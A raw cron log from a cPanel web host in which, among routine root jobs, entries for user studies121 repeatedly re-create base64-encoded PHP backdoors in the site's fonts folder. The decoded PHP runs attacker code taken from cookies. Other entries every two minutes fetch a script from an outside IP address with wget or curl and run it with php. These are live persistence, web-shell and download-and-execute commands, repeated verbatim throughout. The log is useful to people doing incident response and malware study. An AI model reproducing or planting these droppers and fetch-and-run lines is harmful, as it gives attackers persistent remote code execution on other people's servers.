Sep 12 17:48:01 ip-184-168-122-23 CROND[1263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:49:01 ip-184-168-122-23 CROND[1359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:49:01 ip-184-168-122-23 CROND[1360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:49:01 ip-184-168-122-23 CROND[1361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:49:01 ip-184-168-122-23 CROND[1362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:50:01 ip-184-168-122-23 CROND[1505]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 17:50:01 ip-184-168-122-23 CROND[1507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:50:01 ip-184-168-122-23 CROND[1515]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 17:50:01 ip-184-168-122-23 CROND[1511]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:50:01 ip-184-168-122-23 CROND[1517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:50:01 ip-184-168-122-23 CROND[1516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:50:01 ip-184-168-122-23 CROND[1512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:50:01 ip-184-168-122-23 CROND[1513]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:50:01 ip-184-168-122-23 CROND[1518]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:51:01 ip-184-168-122-23 CROND[1700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:51:01 ip-184-168-122-23 CROND[1702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:51:01 ip-184-168-122-23 CROND[1704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:51:01 ip-184-168-122-23 CROND[1703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:52:01 ip-184-168-122-23 CROND[1787]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:52:01 ip-184-168-122-23 CROND[1789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:52:01 ip-184-168-122-23 CROND[1792]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:52:01 ip-184-168-122-23 CROND[1790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:52:01 ip-184-168-122-23 CROND[1791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:53:01 ip-184-168-122-23 CROND[1897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:53:01 ip-184-168-122-23 CROND[1899]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:53:01 ip-184-168-122-23 CROND[1901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:53:01 ip-184-168-122-23 CROND[1902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:54:01 ip-184-168-122-23 CROND[1985]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:54:01 ip-184-168-122-23 CROND[1988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:54:01 ip-184-168-122-23 CROND[1989]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:54:01 ip-184-168-122-23 CROND[1987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:54:01 ip-184-168-122-23 CROND[1990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:55:01 ip-184-168-122-23 CROND[2083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:55:01 ip-184-168-122-23 CROND[2085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:55:01 ip-184-168-122-23 CROND[2087]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:55:01 ip-184-168-122-23 CROND[2086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:55:01 ip-184-168-122-23 CROND[2088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:55:01 ip-184-168-122-23 CROND[2093]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:56:01 ip-184-168-122-23 CROND[2262]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:56:01 ip-184-168-122-23 CROND[2264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:56:01 ip-184-168-122-23 CROND[2263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:56:01 ip-184-168-122-23 CROND[2266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:56:01 ip-184-168-122-23 CROND[2268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:57:01 ip-184-168-122-23 CROND[2358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:57:01 ip-184-168-122-23 CROND[2360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:57:01 ip-184-168-122-23 CROND[2359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:57:01 ip-184-168-122-23 CROND[2361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:58:01 ip-184-168-122-23 CROND[2445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:58:01 ip-184-168-122-23 CROND[2446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:58:01 ip-184-168-122-23 CROND[2449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:58:01 ip-184-168-122-23 CROND[2447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:58:01 ip-184-168-122-23 CROND[2448]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:59:01 ip-184-168-122-23 CROND[2541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:59:01 ip-184-168-122-23 CROND[2543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:59:01 ip-184-168-122-23 CROND[2542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:59:01 ip-184-168-122-23 CROND[2544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:00:01 ip-184-168-122-23 CROND[2634]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:00:01 ip-184-168-122-23 CROND[2636]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:00:01 ip-184-168-122-23 CROND[2640]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 18:00:01 ip-184-168-122-23 CROND[2641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:00:01 ip-184-168-122-23 CROND[2643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:00:01 ip-184-168-122-23 CROND[2642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:00:01 ip-184-168-122-23 CROND[2644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
